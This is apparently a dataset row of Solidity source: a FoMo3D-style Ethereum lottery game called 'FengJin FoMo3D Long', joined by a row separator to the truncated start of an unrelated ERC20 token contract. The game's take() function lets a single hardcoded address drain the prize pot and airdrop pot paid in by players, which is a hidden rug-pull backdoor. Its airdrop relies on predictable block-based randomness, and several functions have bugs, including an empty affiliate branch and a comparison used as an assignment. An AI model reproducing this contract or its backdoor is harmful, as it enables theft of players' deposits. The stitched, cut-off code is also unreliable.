address specAddr = 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1;
string constant public name = "FengJin FoMo3D Long";
string constant public symbol = "FJ3D";
uint256 constant private rndInit_ = 15 days;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
uint256 private pIDxCount;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pIDxCount = pIDxCount + 1;
_pID = pIDxCount + 1;
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
specAddr.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
specAddr.transfer(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
specAddr.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
function take()
public
{
require(
msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1,
"only team just can take"
);
if (round_[rID_].pot > 50 * 100000000)
specAddr.transfer(round_[rID_].pot.sub(50 * 100000000));
if (airDropPot_ > 50 * 100000000)
specAddr.transfer(airDropPot_.sub(50 * 100000000));
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,078 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
